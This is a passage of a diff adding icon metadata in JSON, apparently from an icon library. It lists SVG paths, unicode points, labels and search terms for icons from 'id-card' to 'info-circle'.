19.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm0 464H48V48h288v416zM144 112h96c8.8 0 16-7.2 16-16s-7.2-16-16-16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16zm48 176c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "id-card": { + "changes": [ + "4.7", + "5.0.0", + "5.0.3", + "5.8.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "contact", + "demographics", + "document", + "identification", + "issued", + "profile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f2c2", + "label": "Identification Card", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635554, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528 32H48C21.5 32 0 53.5 0 80v16h576V80c0-26.5-21.5-48-48-48zM0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V128H0v304zm352-232c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zM176 192c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zM67.1 396.2C75.5 370.5 99.6 352 128 352h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.9-5.2 19.8-15.6 19.8H82.7c-10.4 0-18.8-10-15.6-19.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M528 32H48C21.5 32 0 53.5 0 80v16h576V80c0-26.5-21.5-48-48-48zM0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V128H0v304zm352-232c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zM176 192c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zM67.1 396.2C75.5 370.5 99.6 352 128 352h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.9-5.2 19.8-15.6 19.8H82.7c-10.4 0-18.8-10-15.6-19.8z" + }, + "regular": { + "last_modified": 1628088634869, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H303.2c.9-4.5.8 3.6.8-22.4 0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6 0 26-.2 17.9.8 22.4H48V144h480v288zm-168-80h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm-168 96c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H303.2c.9-4.5.8 3.6.8-22.4 0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6 0 26-.2 17.9.8 22.4H48V144h480v288zm-168-80h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm-168 96c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "id-card-alt": { + "changes": [ + "5.0.7", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "contact", + "demographics", + "document", + "identification", + "issued", + "profile" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f47f", + "label": "Alternate Identification Card", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635554, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528 64H384v96H192V64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM288 224c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm93.3 224H194.7c-10.4 0-18.8-10-15.6-19.8 8.3-25.6 32.4-44.2 60.9-44.2h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.8-5.2 19.8-15.6 19.8zM352 32c0-17.7-14.3-32-32-32h-64c-17.7 0-32 14.3-32 32v96h128V32z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M528 64H384v96H192V64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM288 224c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm93.3 224H194.7c-10.4 0-18.8-10-15.6-19.8 8.3-25.6 32.4-44.2 60.9-44.2h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.8-5.2 19.8-15.6 19.8zM352 32c0-17.7-14.3-32-32-32h-64c-17.7 0-32 14.3-32 32v96h128V32z" + } + }, + "free": [ + "solid" + ] + }, + "ideal": { + "changes": [ + "5.12.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e013", + "label": "iDeal", + "voted": true, + "svg": { + "brands": { + "last_modified": 1573074807767, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M125.61,165.48a49.07,49.07,0,1,0,49.06,49.06A49.08,49.08,0,0,0,125.61,165.48ZM86.15,425.84h78.94V285.32H86.15Zm151.46-211.6c0-20-10-22.53-18.74-22.53H204.82V237.5h14.05C228.62,237.5,237.61,234.69,237.61,214.24Zm201.69,46V168.93h22.75V237.5h33.69C486.5,113.08,388.61,86.19,299.67,86.19H204.84V169h14c25.6,0,41.5,17.35,41.5,45.26,0,28.81-15.52,46-41.5,46h-14V425.88h94.83c144.61,0,194.94-67.16,196.72-165.64Zm-109.75,0H273.3V169h54.43v22.73H296v10.58h30V225H296V237.5h33.51Zm74.66,0-5.16-17.67H369.31l-5.18,17.67H340.47L368,168.92h32.35l27.53,91.34ZM299.65,32H32V480H299.65c161.85,0,251-79.73,251-224.52C550.62,172,518,32,299.65,32Zm0,426.92H53.07V53.07H299.65c142.1,0,229.9,64.61,229.9,202.41C529.55,389.57,448.55,458.92,299.65,458.92Zm83.86-264.85L376,219.88H392.4l-7.52-25.81Z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M125.61,165.48a49.07,49.07,0,1,0,49.06,49.06A49.08,49.08,0,0,0,125.61,165.48ZM86.15,425.84h78.94V285.32H86.15Zm151.46-211.6c0-20-10-22.53-18.74-22.53H204.82V237.5h14.05C228.62,237.5,237.61,234.69,237.61,214.24Zm201.69,46V168.93h22.75V237.5h33.69C486.5,113.08,388.61,86.19,299.67,86.19H204.84V169h14c25.6,0,41.5,17.35,41.5,45.26,0,28.81-15.52,46-41.5,46h-14V425.88h94.83c144.61,0,194.94-67.16,196.72-165.64Zm-109.75,0H273.3V169h54.43v22.73H296v10.58h30V225H296V237.5h33.51Zm74.66,0-5.16-17.67H369.31l-5.18,17.67H340.47L368,168.92h32.35l27.53,91.34ZM299.65,32H32V480H299.65c161.85,0,251-79.73,251-224.52C550.62,172,518,32,299.65,32Zm0,426.92H53.07V53.07H299.65c142.1,0,229.9,64.61,229.9,202.41C529.55,389.57,448.55,458.92,299.65,458.92Zm83.86-264.85L376,219.88H392.4l-7.52-25.81Z" + } + }, + "free": [ + "brands" + ] + }, + "igloo": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "dome", + "dwelling", + "eskimo", + "home", + "house", + "ice", + "snow" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7ae", + "label": "Igloo", + "svg": { + "solid": { + "last_modified": 1628088635555, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M320 33.9c-10.5-1.2-21.2-1.9-32-1.9-99.8 0-187.8 50.8-239.4 128H320V33.9zM96 192H30.3C11.1 230.6 0 274 0 320h96V192zM352 39.4V160h175.4C487.2 99.9 424.8 55.9 352 39.4zM480 320h96c0-46-11.1-89.4-30.3-128H480v128zm-64 64v96h128c17.7 0 32-14.3 32-32v-96H411.5c2.6 10.3 4.5 20.9 4.5 32zm32-192H128v128h49.8c22.2-38.1 63-64 110.2-64s88 25.9 110.2 64H448V192zM0 448c0 17.7 14.3 32 32 32h128v-96c0-11.1 1.9-21.7 4.5-32H0v96zm288-160c-53 0-96 43-96 96v96h192v-96c0-53-43-96-96-96z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M320 33.9c-10.5-1.2-21.2-1.9-32-1.9-99.8 0-187.8 50.8-239.4 128H320V33.9zM96 192H30.3C11.1 230.6 0 274 0 320h96V192zM352 39.4V160h175.4C487.2 99.9 424.8 55.9 352 39.4zM480 320h96c0-46-11.1-89.4-30.3-128H480v128zm-64 64v96h128c17.7 0 32-14.3 32-32v-96H411.5c2.6 10.3 4.5 20.9 4.5 32zm32-192H128v128h49.8c22.2-38.1 63-64 110.2-64s88 25.9 110.2 64H448V192zM0 448c0 17.7 14.3 32 32 32h128v-96c0-11.1 1.9-21.7 4.5-32H0v96zm288-160c-53 0-96 43-96 96v96h192v-96c0-53-43-96-96-96z" + } + }, + "free": [ + "solid" + ] + }, + "image": { + "changes": [ + "1", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "album", + "landscape", + "photo", + "picture" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f03e", + "label": "Image", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635555, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM112 120c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56zM64 384h384V272l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L208 320l-55.515-55.515c-4.686-4.686-12.284-4.686-16.971 0L64 336v48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM112 120c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56zM64 384h384V272l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L208 320l-55.515-55.515c-4.686-4.686-12.284-4.686-16.971 0L64 336v48z" + }, + "regular": { + "last_modified": 1628088634870, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 336H54a6 6 0 0 1-6-6V118a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v276a6 6 0 0 1-6 6zM128 152c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zM96 352h320v-80l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L192 304l-39.515-39.515c-4.686-4.686-12.284-4.686-16.971 0L96 304v48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 336H54a6 6 0 0 1-6-6V118a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v276a6 6 0 0 1-6 6zM128 152c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zM96 352h320v-80l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L192 304l-39.515-39.515c-4.686-4.686-12.284-4.686-16.971 0L96 304v48z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "images": { + "changes": [ + "1", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "album", + "landscape", + "photo", + "picture" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f302", + "label": "Images", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635555, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v208c0 44.112 35.888 80 80 80h336zm96-80V80c0-26.51-21.49-48-48-48H144c-26.51 0-48 21.49-48 48v256c0 26.51 21.49 48 48 48h384c26.51 0 48-21.49 48-48zM256 128c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-96 144l55.515-55.515c4.686-4.686 12.284-4.686 16.971 0L272 256l135.515-135.515c4.686-4.686 12.284-4.686 16.971 0L512 208v112H160v-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v208c0 44.112 35.888 80 80 80h336zm96-80V80c0-26.51-21.49-48-48-48H144c-26.51 0-48 21.49-48 48v256c0 26.51 21.49 48 48 48h384c26.51 0 48-21.49 48-48zM256 128c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-96 144l55.515-55.515c4.686-4.686 12.284-4.686 16.971 0L272 256l135.515-135.515c4.686-4.686 12.284-4.686 16.971 0L512 208v112H160v-48z" + }, + "regular": { + "last_modified": 1628088634871, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v48H54a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6v-10h48zm42-336H150a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6V86a6 6 0 0 0-6-6zm6-48c26.51 0 48 21.49 48 48v256c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h384zM264 144c0 22.091-17.909 40-40 40s-40-17.909-40-40 17.909-40 40-40 40 17.909 40 40zm-72 96l39.515-39.515c4.686-4.686 12.284-4.686 16.971 0L288 240l103.515-103.515c4.686-4.686 12.284-4.686 16.971 0L480 208v80H192v-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v48H54a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6v-10h48zm42-336H150a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6V86a6 6 0 0 0-6-6zm6-48c26.51 0 48 21.49 48 48v256c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h384zM264 144c0 22.091-17.909 40-40 40s-40-17.909-40-40 17.909-40 40-40 40 17.909 40 40zm-72 96l39.515-39.515c4.686-4.686 12.284-4.686 16.971 0L288 240l103.515-103.515c4.686-4.686 12.284-4.686 16.971 0L480 208v80H192v-48z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "imdb": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2d8", + "label": "IMDB", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722331, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.3 229.2H21c.1-.1.2-.3.3-.4zM97 319.8H64V192h33zm113.2 0h-28.7v-86.4l-11.6 86.4h-20.6l-12.2-84.5v84.5h-29V192h42.8c3.3 19.8 6 39.9 8.7 59.9l7.6-59.9h43zm11.4 0V192h24.6c17.6 0 44.7-1.6 49 20.9 1.7 7.6 1.4 16.3 1.4 24.4 0 88.5 11.1 82.6-75 82.5zm160.9-29.2c0 15.7-2.4 30.9-22.2 30.9-9 0-15.2-3-20.9-9.8l-1.9 8.1h-29.8V192h31.7v41.7c6-6.5 12-9.2 20.9-9.2 21.4 0 22.2 12.8 22.2 30.1zM265 229.9c0-9.7 1.6-16-10.3-16v83.7c12.2.3 10.3-8.7 10.3-18.4zm85.5 26.1c0-5.4 1.1-12.7-6.2-12.7-6 0-4.9 8.9-4.9 12.7 0 .6-1.1 39.6 1.1 44.7.8 1.6 2.2 2.4 3.8 2.4 7.8 0 6.2-9 6.2-14.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.3 229.2H21c.1-.1.2-.3.3-.4zM97 319.8H64V192h33zm113.2 0h-28.7v-86.4l-11.6 86.4h-20.6l-12.2-84.5v84.5h-29V192h42.8c3.3 19.8 6 39.9 8.7 59.9l7.6-59.9h43zm11.4 0V192h24.6c17.6 0 44.7-1.6 49 20.9 1.7 7.6 1.4 16.3 1.4 24.4 0 88.5 11.1 82.6-75 82.5zm160.9-29.2c0 15.7-2.4 30.9-22.2 30.9-9 0-15.2-3-20.9-9.8l-1.9 8.1h-29.8V192h31.7v41.7c6-6.5 12-9.2 20.9-9.2 21.4 0 22.2 12.8 22.2 30.1zM265 229.9c0-9.7 1.6-16-10.3-16v83.7c12.2.3 10.3-8.7 10.3-18.4zm85.5 26.1c0-5.4 1.1-12.7-6.2-12.7-6 0-4.9 8.9-4.9 12.7 0 .6-1.1 39.6 1.1 44.7.8 1.6 2.2 2.4 3.8 2.4 7.8 0 6.2-9 6.2-14.4z" + } + }, + "free": [ + "brands" + ] + }, + "inbox": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "archive", + "desk", + "email", + "mail", + "message" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f01c", + "label": "inbox", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635556, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M567.938 243.908L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L8.062 243.908A47.994 47.994 0 0 0 0 270.533V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V270.533a47.994 47.994 0 0 0-8.062-26.625zM162.252 128h251.497l85.333 128H376l-32 64H232l-32-64H76.918l85.334-128z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M567.938 243.908L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L8.062 243.908A47.994 47.994 0 0 0 0 270.533V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V270.533a47.994 47.994 0 0 0-8.062-26.625zM162.252 128h251.497l85.333 128H376l-32 64H232l-32-64H76.918l85.334-128z" + } + }, + "free": [ + "solid" + ] + }, + "indent": { + "changes": [ + "1", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "align", + "justify", + "paragraph", + "tab" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f03c", + "label": "Indent", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635556, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M27.31 363.3l96-96a16 16 0 0 0 0-22.62l-96-96C17.27 138.66 0 145.78 0 160v192c0 14.31 17.33 21.3 27.31 11.3zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M27.31 363.3l96-96a16 16 0 0 0 0-22.62l-96-96C17.27 138.66 0 145.78 0 160v192c0 14.31 17.33 21.3 27.31 11.3zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "industry": { + "changes": [ + "4.4", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "factory", + "industrial", + "manufacturing", + "mill", + "warehouse" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f275", + "label": "Industry", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635556, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M475.115 163.781L336 252.309v-68.28c0-18.916-20.931-30.399-36.885-20.248L160 252.309V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h464c13.255 0 24-10.745 24-24V184.029c0-18.917-20.931-30.399-36.885-20.248z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M475.115 163.781L336 252.309v-68.28c0-18.916-20.931-30.399-36.885-20.248L160 252.309V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h464c13.255 0 24-10.745 24-24V184.029c0-18.917-20.931-30.399-36.885-20.248z" + } + }, + "free": [ + "solid" + ] + }, + "infinity": { + "changes": [ + "5.0.13", + "5.3.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "eternity", + "forever", + "math" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f534", + "label": "Infinity", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635557, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M471.1 96C405 96 353.3 137.3 320 174.6 286.7 137.3 235 96 168.9 96 75.8 96 0 167.8 0 256s75.8 160 168.9 160c66.1 0 117.8-41.3 151.1-78.6 33.3 37.3 85 78.6 151.1 78.6 93.1 0 168.9-71.8 168.9-160S564.2 96 471.1 96zM168.9 320c-40.2 0-72.9-28.7-72.9-64s32.7-64 72.9-64c38.2 0 73.4 36.1 94 64-20.4 27.6-55.9 64-94 64zm302.2 0c-38.2 0-73.4-36.1-94-64 20.4-27.6 55.9-64 94-64 40.2 0 72.9 28.7 72.9 64s-32.7 64-72.9 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M471.1 96C405 96 353.3 137.3 320 174.6 286.7 137.3 235 96 168.9 96 75.8 96 0 167.8 0 256s75.8 160 168.9 160c66.1 0 117.8-41.3 151.1-78.6 33.3 37.3 85 78.6 151.1 78.6 93.1 0 168.9-71.8 168.9-160S564.2 96 471.1 96zM168.9 320c-40.2 0-72.9-28.7-72.9-64s32.7-64 72.9-64c38.2 0 73.4 36.1 94 64-20.4 27.6-55.9 64-94 64zm302.2 0c-38.2 0-73.4-36.1-94-64 20.4-27.6 55.9-64 94-64 40.2 0 72.9 28.7 72.9 64s-32.7 64-72.9 64z" + } + }, + "free": [ + "solid" + ] + }, + "info": { + "changes": [ + "3.1", + "5.0.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "details", + "help", + "information", + "more", + "support" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f129", + "label": "Info", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635557, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 192 512\"><path d=\"M20 424.229h20V279.771H20c-11.046 0-20-8.954-20-20V212c0-11.046 8.954-20 20-20h112c11.046 0 20 8.954 20 20v212.229h20c11.046 0 20 8.954 20 20V492c0 11.046-8.954 20-20 20H20c-11.046 0-20-8.954-20-20v-47.771c0-11.046 8.954-20 20-20zM96 0C56.235 0 24 32.235 24 72s32.235 72 72 72 72-32.235 72-72S135.764 0 96 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "192", + "512" + ], + "width": 192, + "height": 512, + "path": "M20 424.229h20V279.771H20c-11.046 0-20-8.954-20-20V212c0-11.046 8.954-20 20-20h112c11.046 0 20 8.954 20 20v212.229h20c11.046 0 20 8.954 20 20V492c0 11.046-8.954 20-20 20H20c-11.046 0-20-8.954-20-20v-47.771c0-11.046 8.954-20 20-20zM96 0C56.235 0 24 32.235 24 72s32.235 72 72 72 72-32.235 72-72S135.764 0 96 0z" + } + }, + "free": [ + "solid" + ] + }, + "info-circle": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "details", + "help", + "information", + "more", + "support" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f05a", + "label": "Info Circle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635557, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 110c23.196 0 42 18.804 42 42s-18.804 42-42 42-42-18.804-42-42 18.804-42 42-42zm56 254c0 6.627-5.373 12-12 